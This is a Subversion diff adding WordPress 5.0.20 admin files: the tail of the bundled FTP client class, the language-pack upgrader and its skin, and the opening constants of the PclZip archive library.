+		if(!$this->_exec("RETR ".$remotefile, "get")) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		$out=$this->_data_read($mode, $fp);
+		fclose($fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $out;
+	}
+
+	function fput($remotefile, $fp, $rest=0) {
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("STOR ".$remotefile, "put")) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$ret=$this->_data_write($mode, $fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $ret;
+	}
+
+	function put($localfile, $remotefile=NULL, $rest=0) {
+		if(is_null($remotefile)) $remotefile=$localfile;
+		if (!file_exists($localfile)) {
+			$this->PushError("put","can't open local file", "No such file or directory \"".$localfile."\"");
+			return FALSE;
+		}
+		$fp = @fopen($localfile, "r");
+
+		if (!$fp) {
+			$this->PushError("put","can't open local file", "Cannot read file \"".$localfile."\"");
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($localfile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			fclose($fp);
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("STOR ".$remotefile, "put")) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		$ret=$this->_data_write($mode, $fp);
+		fclose($fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $ret;
+	}
+
+	function mput($local=".", $remote=NULL, $continious=false) {
+		$local=realpath($local);
+		if(!@file_exists($local)) {
+			$this->PushError("mput","can't open local folder", "Cannot stat folder \"".$local."\"");
+			return FALSE;
+		}
+		if(!is_dir($local)) return $this->put($local, $remote);
+		if(empty($remote)) $remote=".";
+		elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE;
+		if($handle = opendir($local)) {
+			$list=array();
+			while (false !== ($file = readdir($handle))) {
+				if ($file != "." && $file != "..") $list[]=$file;
+			}
+			closedir($handle);
+		} else {
+			$this->PushError("mput","can't open local folder", "Cannot read folder \"".$local."\"");
+			return FALSE;
+		}
+		if(empty($list)) return TRUE;
+		$ret=true;
+		foreach($list as $el) {
+			if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el);
+			else $t=$this->put($local."/".$el, $remote."/".$el);
+			if(!$t) {
+				$ret=FALSE;
+				if(!$continious) break;
+			}
+		}
+		return $ret;
+
+	}
+
+	function mget($remote, $local=".", $continious=false) {
+		$list=$this->rawlist($remote, "-lA");
+		if($list===false) {
+			$this->PushError("mget","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return FALSE;
+		}
+		if(empty($list)) return true;
+		if(!@file_exists($local)) {
+			if(!@mkdir($local)) {
+				$this->PushError("mget","can't create local folder", "Cannot create folder \"".$local."\"");
+				return FALSE;
+			}
+		}
+		foreach($list as $k=>$v) {
+			$list[$k]=$this->parselisting($v);
+			if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
+		}
+		$ret=true;
+		foreach($list as $el) {
+			if($el["type"]=="d") {
+				if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) {
+					$this->PushError("mget", "can't copy folder", "Can't copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			} else {
+				if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) {
+					$this->PushError("mget", "can't copy file", "Can't copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			}
+			@chmod($local."/".$el["name"], $el["perms"]);
+			$t=strtotime($el["date"]);
+			if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t);
+		}
+		return $ret;
+	}
+
+	function mdel($remote, $continious=false) {
+		$list=$this->rawlist($remote, "-la");
+		if($list===false) {
+			$this->PushError("mdel","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return false;
+		}
+
+		foreach($list as $k=>$v) {
+			$list[$k]=$this->parselisting($v);
+			if( ! $list[$k] or $list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
+		}
+		$ret=true;
+
+		foreach($list as $el) {
+			if ( empty($el) )
+				continue;
+
+			if($el["type"]=="d") {
+				if(!$this->mdel($remote."/".$el["name"], $continious)) {
+					$ret=false;
+					if(!$continious) break;
+				}
+			} else {
+				if (!$this->delete($remote."/".$el["name"])) {
+					$this->PushError("mdel", "can't delete file", "Can't delete remote file \"".$remote."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			}
+		}
+
+		if(!$this->rmdir($remote)) {
+			$this->PushError("mdel", "can't delete folder", "Can't delete remote folder \"".$remote."/".$el["name"]."\"");
+			$ret=false;
+		}
+		return $ret;
+	}
+
+	function mmkdir($dir, $mode = 0777) {
+		if(empty($dir)) return FALSE;
+		if($this->is_exists($dir) or $dir == "/" ) return TRUE;
+		if(!$this->mmkdir(dirname($dir), $mode)) return false;
+		$r=$this->mkdir($dir, $mode);
+		$this->chmod($dir,$mode);
+		return $r;
+	}
+
+	function glob($pattern, $handle=NULL) {
+		$path=$output=null;
+		if(PHP_OS=='WIN32') $slash='\\';
+		else $slash='/';
+		$lastpos=strrpos($pattern,$slash);
+		if(!($lastpos===false)) {
+			$path=substr($pattern,0,-$lastpos-1);
+			$pattern=substr($pattern,$lastpos);
+		} else $path=getcwd();
+		if(is_array($handle) and !empty($handle)) {
+			foreach($handle as $dir) {
+				if($this->glob_pattern_match($pattern,$dir))
+				$output[]=$dir;
+			}
+		} else {
+			$handle=@opendir($path);
+			if($handle===false) return false;
+			while($dir=readdir($handle)) {
+				if($this->glob_pattern_match($pattern,$dir))
+				$output[]=$dir;
+			}
+			closedir($handle);
+		}
+		if(is_array($output)) return $output;
+		return false;
+	}
+
+	function glob_pattern_match($pattern,$string) {
+		$out=null;
+		$chunks=explode(';',$pattern);
+		foreach($chunks as $pattern) {
+			$escape=array('$','^','.','{','}','(',')','[',']','|');
+			while(strpos($pattern,'**')!==false)
+				$pattern=str_replace('**','*',$pattern);
+			foreach($escape as $probe)
+				$pattern=str_replace($probe,"\\$probe",$pattern);
+			$pattern=str_replace('?*','*',
+				str_replace('*?','*',
+					str_replace('*',".*",
+						str_replace('?','.{1,1}',$pattern))));
+			$out[]=$pattern;
+		}
+		if(count($out)==1) return($this->glob_regexp("^$out[0]$",$string));
+		else {
+			foreach($out as $tester)
+				if($this->my_regexp("^$tester$",$string)) return true;
+		}
+		return false;
+	}
+
+	function glob_regexp($pattern,$probe) {
+		$sensitive=(PHP_OS!='WIN32');
+		return ($sensitive?
+			preg_match( '/' . preg_quote( $pattern, '/' ) . '/', $probe ) :
+			preg_match( '/' . preg_quote( $pattern, '/' ) . '/i', $probe )
+		);
+	}
+
+	function dirlist($remote) {
+		$list=$this->rawlist($remote, "-la");
+		if($list===false) {
+			$this->PushError("dirlist","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return false;
+		}
+
+		$dirlist = array();
+		foreach($list as $k=>$v) {
+			$entry=$this->parselisting($v);
+			if ( empty($entry) )
+				continue;
+
+			if($entry["name"]=="." or $entry["name"]=="..")
+				continue;
+
+			$dirlist[$entry['name']] = $entry;
+		}
+
+		return $dirlist;
+	}
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+	function _checkCode() {
+		return ($this->_code<400 and $this->_code>0);
+	}
+
+	function _list($arg="", $cmd="LIST", $fnction="_list") {
+		if(!$this->_data_prepare()) return false;
+		if(!$this->_exec($cmd.$arg, $fnction)) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$out="";
+		if($this->_code<200) {
+			$out=$this->_data_read();
+			$this->_data_close();
+			if(!$this->_readmsg()) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+			if($out === FALSE ) return FALSE;
+			$out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY);
+//			$this->SendMSG(implode($this->_eol_code[$this->OS_local], $out));
+		}
+		return $out;
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!-- Partie : gestion des erreurs                                                            -->
+// <!-- --------------------------------------------------------------------------------------- -->
+// Gnre une erreur pour traitement externe  la classe
+	function PushError($fctname,$msg,$desc=false){
+		$error=array();
+		$error['time']=time();
+		$error['fctname']=$fctname;
+		$error['msg']=$msg;
+		$error['desc']=$desc;
+		if($desc) $tmp=' ('.$desc.')'; else $tmp='';
+		$this->SendMSG($fctname.': '.$msg.$tmp);
+		return(array_push($this->_error_array,$error));
+	}
+
+// Rcupre une erreur externe
+	function PopError(){
+		if(count($this->_error_array)) return(array_pop($this->_error_array));
+			else return(false);
+	}
+}
+
+$mod_sockets = extension_loaded( 'sockets' );
+if ( ! $mod_sockets && function_exists( 'dl' ) && is_callable( 'dl' ) ) {
+	$prefix = ( PHP_SHLIB_SUFFIX == 'dll' ) ? 'php_' : '';
+	@dl( $prefix . 'sockets.' . PHP_SHLIB_SUFFIX );
+	$mod_sockets = extension_loaded( 'sockets' );
+}
+
+require_once dirname( __FILE__ ) . "/class-ftp-" . ( $mod_sockets ? "sockets" : "pure" ) . ".php";
+
+if ( $mod_sockets ) {
+	class ftp extends ftp_sockets {}
+} else {
+	class ftp extends ftp_pure {}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-language-pack-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-language-pack-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-language-pack-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Upgrader API: Language_Pack_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Translation Upgrader Skin for WordPress Translation Upgrades.
+ *
+ * @since 3.7.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see WP_Upgrader_Skin
+ */
+class Language_Pack_Upgrader_Skin extends WP_Upgrader_Skin {
+	public $language_update = null;
+	public $done_header = false;
+	public $done_footer = false;
+	public $display_footer_actions = true;
+
+	/**
+	 *
+	 * @param array $args
+	 */
+	public function __construct( $args = array() ) {
+		$defaults = array( 'url' => '', 'nonce' => '', 'title' => __( 'Update Translations' ), 'skip_header_footer' => false );
+		$args = wp_parse_args( $args, $defaults );
+		if ( $args['skip_header_footer'] ) {
+			$this->done_header = true;
+			$this->done_footer = true;
+			$this->display_footer_actions = false;
+		}
+		parent::__construct( $args );
+	}
+
+	/**
+	 */
+	public function before() {
+		$name = $this->upgrader->get_name_for_update( $this->language_update );
+
+		echo '<div class="update-messages lp-show-latest">';
+
+		printf( '<h2>' . __( 'Updating translations for %1$s (%2$s)&#8230;' ) . '</h2>', $name, $this->language_update->language );
+	}
+
+	/**
+	 *
+	 * @param string|WP_Error $error
+	 */
+	public function error( $error ) {
+		echo '<div class="lp-error">';
+		parent::error( $error );
+		echo '</div>';
+	}
+
+	/**
+	 */
+	public function after() {
+		echo '</div>';
+	}
+
+	/**
+	 */
+	public function bulk_footer() {
+		$this->decrement_update_count( 'translation' );
+		$update_actions = array();
+		$update_actions['updates_page'] = '<a href="' . self_admin_url( 'update-core.php' ) . '" target="_parent">' . __( 'Return to WordPress Updates page' ) . '</a>';
+
+		/**
+		 * Filters the list of action links available following a translations update.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array $update_actions Array of translations update links.
+		 */
+		$update_actions = apply_filters( 'update_translations_complete_actions', $update_actions );
+
+		if ( $update_actions && $this->display_footer_actions )
+			$this->feedback( implode( ' | ', $update_actions ) );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-language-pack-upgrader.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-language-pack-upgrader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-language-pack-upgrader.php	(revision 56912)
@@ -0,0 +1,370 @@
+<?php
+/**
+ * Upgrade API: Language_Pack_Upgrader class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for updating/installing language packs (translations)
+ * for plugins, themes, and core.
+ *
+ * @since 3.7.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
+ *
+ * @see WP_Upgrader
+ */
+class Language_Pack_Upgrader extends WP_Upgrader {
+
+	/**
+	 * Result of the language pack upgrade.
+	 *
+	 * @since 3.7.0
+	 * @var array|WP_Error $result
+	 * @see WP_Upgrader::$result
+	 */
+	public $result;
+
+	/**
+	 * Whether a bulk upgrade/installation is being performed.
+	 *
+	 * @since 3.7.0
+	 * @var bool $bulk
+	 */
+	public $bulk = true;
+
+	/**
+	 * Asynchronously upgrades language packs after other upgrades have been made.
+	 *
+	 * Hooked to the {@see 'upgrader_process_complete'} action by default.
+	 *
+	 * @since 3.7.0
+	 * @static
+	 *
+	 * @param false|WP_Upgrader $upgrader Optional. WP_Upgrader instance or false. If `$upgrader` is
+	 *                                    a Language_Pack_Upgrader instance, the method will bail to
+	 *                                    avoid recursion. Otherwise unused. Default false.
+	 */
+	public static function async_upgrade( $upgrader = false ) {
+		// Avoid recursion.
+		if ( $upgrader && $upgrader instanceof Language_Pack_Upgrader ) {
+			return;
+		}
+
+		// Nothing to do?
+		$language_updates = wp_get_translation_updates();
+		if ( ! $language_updates ) {
+			return;
+		}
+
+		/*
+		 * Avoid messing with VCS installations, at least for now.
+		 * Noted: this is not the ideal way to accomplish this.
+		 */
+		$check_vcs = new WP_Automatic_Updater;
+		if ( $check_vcs->is_vcs_checkout( WP_CONTENT_DIR ) ) {
+			return;
+		}
+
+		foreach ( $language_updates as $key => $language_update ) {
+			$update = ! empty( $language_update->autoupdate );
+
+			/**
+			 * Filters whether to asynchronously update translation for core, a plugin, or a theme.
+			 *
+			 * @since 4.0.0
+			 *
+			 * @param bool   $update          Whether to update.
+			 * @param object $language_update The update offer.
+			 */
+			$update = apply_filters( 'async_update_translation', $update, $language_update );
+
+			if ( ! $update ) {
+				unset( $language_updates[ $key ] );
+			}
+		}
+
+		if ( empty( $language_updates ) ) {
+			return;
+		}
+
+		// Re-use the automatic upgrader skin if the parent upgrader is using it.
+		if ( $upgrader && $upgrader->skin instanceof Automatic_Upgrader_Skin ) {
+			$skin = $upgrader->skin;
+		} else {
+			$skin = new Language_Pack_Upgrader_Skin( array(
+				'skip_header_footer' => true,
+			) );
+		}
+
+		$lp_upgrader = new Language_Pack_Upgrader( $skin );
+		$lp_upgrader->bulk_upgrade( $language_updates );
+	}
+
+	/**
+	 * Initialize the upgrade strings.
+	 *
+	 * @since 3.7.0
+	 */
+	public function upgrade_strings() {
+		$this->strings['starting_upgrade'] = __( 'Some of your translations need updating. Sit tight for a few more seconds while we update them as well.' );
+		$this->strings['up_to_date'] = __( 'The translations are up to date.' );
+		$this->strings['no_package'] = __( 'Update package not available.' );
+		/* translators: %s: package URL */
+		$this->strings['downloading_package'] = sprintf( __( 'Downloading translation from %s&#8230;' ), '<span class="code">%s</span>' );
+		$this->strings['unpack_package'] = __( 'Unpacking the update&#8230;' );
+		$this->strings['process_failed'] = __( 'Translation update failed.' );
+		$this->strings['process_success'] = __( 'Translation updated successfully.' );
+	}
+
+	/**
+	 * Upgrade a language pack.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string|false $update Optional. Whether an update offer is available. Default false.
+	 * @param array        $args   Optional. Other optional arguments, see
+	 *                             Language_Pack_Upgrader::bulk_upgrade(). Default empty array.
+	 * @return array|bool|WP_Error The result of the upgrade, or a WP_Error object instead.
+	 */
+	public function upgrade( $update = false, $args = array() ) {
+		if ( $update ) {
+			$update = array( $update );
+		}
+
+		$results = $this->bulk_upgrade( $update, $args );
+
+		if ( ! is_array( $results ) ) {
+			return $results;
+		}
+
+		return $results[0];
+	}
+
+	/**
+	 * Bulk upgrade language packs.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param array $language_updates Optional. Language pack updates. Default empty array.
+	 * @param array $args {
+	 *     Optional. Other arguments for upgrading multiple language packs. Default empty array
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the update cache when done.
+	 *                                    Default true.
+	 * }
+	 * @return array|bool|WP_Error Will return an array of results, or true if there are no updates,
+	 *                                   false or WP_Error for initial errors.
+	 */
+	public function bulk_upgrade( $language_updates = array(), $args = array() ) {
+		global $wp_filesystem;
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->upgrade_strings();
+
+		if ( ! $language_updates )
+			$language_updates = wp_get_translation_updates();
+
+		if ( empty( $language_updates ) ) {
+			$this->skin->header();
+			$this->skin->set_result( true );
+			$this->skin->feedback( 'up_to_date' );
+			$this->skin->bulk_footer();
+			$this->skin->footer();
+			return true;
+		}
+
+		if ( 'upgrader_process_complete' == current_filter() )
+			$this->skin->feedback( 'starting_upgrade' );
+
+		// Remove any existing upgrade filters from the plugin/theme upgraders #WP29425 & #WP29230
+		remove_all_filters( 'upgrader_pre_install' );
+		remove_all_filters( 'upgrader_clear_destination' );
+		remove_all_filters( 'upgrader_post_install' );
+		remove_all_filters( 'upgrader_source_selection' );
+
+		add_filter( 'upgrader_source_selection', array( $this, 'check_package' ), 10, 2 );
+
+		$this->skin->header();
+
+		// Connect to the Filesystem first.
+		$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );
+		if ( ! $res ) {
+			$this->skin->footer();
+			return false;
+		}
+
+		$results = array();
+
+		$this->update_count = count( $language_updates );
+		$this->update_current = 0;
+
+		/*
+		 * The filesystem's mkdir() is not recursive. Make sure WP_LANG_DIR exists,
+		 * as we then may need to create a /plugins or /themes directory inside of it.
+		 */
+		$remote_destination = $wp_filesystem->find_folder( WP_LANG_DIR );
+		if ( ! $wp_filesystem->exists( $remote_destination ) )
+			if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) )
+				return new WP_Error( 'mkdir_failed_lang_dir', $this->strings['mkdir_failed'], $remote_destination );
+
+		$language_updates_results = array();
+
+		foreach ( $language_updates as $language_update ) {
+
+			$this->skin->language_update = $language_update;
+
+			$destination = WP_LANG_DIR;
+			if ( 'plugin' == $language_update->type )
+				$destination .= '/plugins';
+			elseif ( 'theme' == $language_update->type )
+				$destination .= '/themes';
+
+			$this->update_current++;
+
+			$options = array(
+				'package' => $language_update->package,
+				'destination' => $destination,
+				'clear_destination' => false,
+				'abort_if_destination_exists' => false, // We expect the destination to exist.
+				'clear_working' => true,
+				'is_multi' => true,
+				'hook_extra' => array(
+					'language_update_type' => $language_update->type,
+					'language_update' => $language_update,
+				)
+			);
+
+			$result = $this->run( $options );
+
+			$results[] = $this->result;
+
+			// Prevent credentials auth screen from displaying multiple times.
+			if ( false === $result ) {
+				break;
+			}
+
+			$language_updates_results[] = array(
+				'language' => $language_update->language,
+				'type'     => $language_update->type,
+				'slug'     => isset( $language_update->slug ) ? $language_update->slug : 'default',
+				'version'  => $language_update->version,
+			);
+		}
+
+		// Remove upgrade hooks which are not required for translation updates.
+		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
+		remove_action( 'upgrader_process_complete', 'wp_version_check' );
+		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
+		remove_action( 'upgrader_process_complete', 'wp_update_themes' );
+
+		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
+		do_action( 'upgrader_process_complete', $this, array(
+			'action'       => 'update',
+			'type'         => 'translation',
+			'bulk'         => true,
+			'translations' => $language_updates_results
+		) );
+
+		// Re-add upgrade hooks.
+		add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
+		add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 );
+		add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 );
+		add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 );
+
+		$this->skin->bulk_footer();
+
+		$this->skin->footer();
+
+		// Clean up our hooks, in case something else does an upgrade on this connection.
+		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
+
+		if ( $parsed_args['clear_update_cache'] ) {
+			wp_clean_update_cache();
+		}
+
+		return $results;
+	}
+
+	/**
+	 * Check the package source to make sure there are .mo and .po files.
+	 *
+	 * Hooked to the {@see 'upgrader_source_selection'} filter by
+	 * Language_Pack_Upgrader::bulk_upgrade().
+	 *
+	 * @since 3.7.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param string|WP_Error $source
+	 * @param string          $remote_source
+	 */
+	public function check_package( $source, $remote_source ) {
+		global $wp_filesystem;
+
+		if ( is_wp_error( $source ) )
+			return $source;
+
+		// Check that the folder contains a valid language.
+		$files = $wp_filesystem->dirlist( $remote_source );
+
+		// Check to see if a .po and .mo exist in the folder.
+		$po = $mo = false;
+		foreach ( (array) $files as $file => $filedata ) {
+			if ( '.po' == substr( $file, -3 ) )
+				$po = true;
+			elseif ( '.mo' == substr( $file, -3 ) )
+				$mo = true;
+		}
+
+		if ( ! $mo || ! $po ) {
+			return new WP_Error( 'incompatible_archive_pomo', $this->strings['incompatible_archive'],
+				/* translators: 1: .po 2: .mo */
+				sprintf( __( 'The language pack is missing either the %1$s or %2$s files.' ),
+					'<code>.po</code>',
+					'<code>.mo</code>'
+				)
+			);
+		}
+
+		return $source;
+	}
+
+	/**
+	 * Get the name of an item being updated.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param object $update The data for an update.
+	 * @return string The name of the item being updated.
+	 */
+	public function get_name_for_update( $update ) {
+		switch ( $update->type ) {
+			case 'core':
+				return 'WordPress'; // Not translated
+
+			case 'theme':
+				$theme = wp_get_theme( $update->slug );
+				if ( $theme->exists() )
+					return $theme->Get( 'Name' );
+				break;
+			case 'plugin':
+				$plugin_data = get_plugins( '/' . $update->slug );
+				$plugin_data = reset( $plugin_data );
+				if ( $plugin_data )
+					return $plugin_data['Name'];
+				break;
+		}
+		return '';
+	}
+
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-pclzip.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-pclzip.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-pclzip.php	(revision 56912)
@@ -0,0 +1,5692 @@
+<?php
+// --------------------------------------------------------------------------------
+// PhpConcept Library - Zip Module 2.8.2
+// --------------------------------------------------------------------------------
+// License GNU/LGPL - Vincent Blavet - August 2009
+// http://www.phpconcept.net
+// --------------------------------------------------------------------------------
+//
+// Presentation :
+//   PclZip is a PHP library that manage ZIP archives.
+//   So far tests show that archives generated by PclZip are readable by
+//   WinZip application and other tools.
+//
+// Description :
+//   See readme.txt and http://www.phpconcept.net
+//
+// Warning :
+//   This library and the associated files are non commercial, non professional
+//   work.
+//   It should not have unexpected results. However if any damage is caused by
+//   this software the author can not be responsible.
+//   The use of this software is at the risk of the user.
+//
+// --------------------------------------------------------------------------------
+// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
+// --------------------------------------------------------------------------------
+
+  // ----- Constants
+  if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
+    define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
+  }
+
+  // ----- File list separator
+  // In version 1.x of PclZip, the separator for file list is a space
+  // (which is not a very smart choice, specifically for windows paths !).
+  // A better separator should be a comma (,). This constant gives you the
+  // abilty to change that.
+  // However notice that changing this value, may have impact on existing
+  // scripts, using space separated filenames.
+  // Recommanded values for compatibility with older versions :
+  //define( 'PCLZIP_SEPARATOR', ' ' );
+  // Recommanded values for smart separation of filenames.
+  if (!defined('PCLZIP_SEPARATOR')) {
+    define( 'PCLZIP_SEPARATOR', ',' );
+  }
+
+  // ----- Error configuration
+  // 0 : PclZip Class integrated error handling
+  // 1 : PclError external library error handling. By enabling this
+  //     you must ensure that you have included PclError library.
+  // [2,...] : reserved for futur use
+  if (!defined('PCLZIP_ERROR_EXTERNAL')) {
+    define( 'PCLZIP_ERROR_EXTERNAL', 0 );
+  }
+
+  // ----- Optional static temporary directory
+  //       By default temporary files are generated in the script current
+  //       path.
+  //       If defined :
+  //       - MUST BE terminated by a '/'.
+  //       - MUST be a valid, already created directory
+  //       Samples :
+  // define( 'PCLZIP_TEMPORARY_DIR', '/temp/' );
+  // define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' );
+  if (!defined('PCLZIP_TEMPORARY_DIR')) {
+    define( 'PCLZIP_TEMPORARY_DIR', '' );
+  }
+
+  // ----- Optional threshold ratio for use of temporary files
+  //       Pclzip sense the size of the file to add/extract and decide to
+  //       use or not temporary file. The algorythm is looking for
+  //       memory_limit of PHP and apply a ratio.
+  //       threshold = memory_limit * ratio.
+  //       Recommended values are under 0.5. Default 0.47.
+  //       Samples :
+  // define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 );
+  if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
+    define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
+  }
+
+// --------------------------------------------------------------------------------
+// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
+// --------------------------------------------------------------------------------
+
+  // ----- Global variables
+  $g_pclzip_version = "2.8.2";
+
+  // ----- Error codes
+  //   -1 : Unable to open file in binary write mode
+  //   -2 : Unable to open file in binary read mode
+  //   -3 : Invalid parameters
+  //   -4 : File does not exist
+  //   -5 : Filename is too long (max. 255)
+  //   -6 : Not a valid zip file
+  //   -7 : Invalid extracted file size
+  //   -8 : Unable to create directory
+  //   -9 : Invalid archive extension
+  //  -10 : Invalid archive format
+  //  -11 : Unable to delete file (unlink)
+  //  -12 : Unable to rename file (rename)
+  //  -13 : Invalid header checksum
+  //  -14 : Invalid archive size
+  define( 'PCLZIP_ERR_USER_ABORTED', 2 );
+  define( 'PCLZIP_ERR_NO_ERROR', 0 );
+  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
+  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
+  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
+  define( 'PCLZIP_ERR_MISSING_FILE', -4 );
+  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
+  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
+  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
+  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
+  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
+  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
+  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
+  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
+  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
+  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
+  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
+  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
+  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
+  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
+  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
+  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
+  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );
+
+  // ----- Options values
+  define( 'PCLZIP_OPT_PATH', 77001 );
+  define( 'PCLZIP_OPT_ADD_PATH', 77002 );
+  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
+  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
+  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
+  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
+  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
+  define( 'PCLZIP_OPT_BY_NAME', 77008 );
+  define( 'PCLZIP_OPT_BY_INDEX', 77009 );
+  define( 'PCLZIP_OPT_BY_EREG', 77010 );
+  define( 'PCLZIP_OPT_BY_PREG', 77011 );
+  define( 'PCLZIP_OPT_COMMENT', 77012 );
+  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
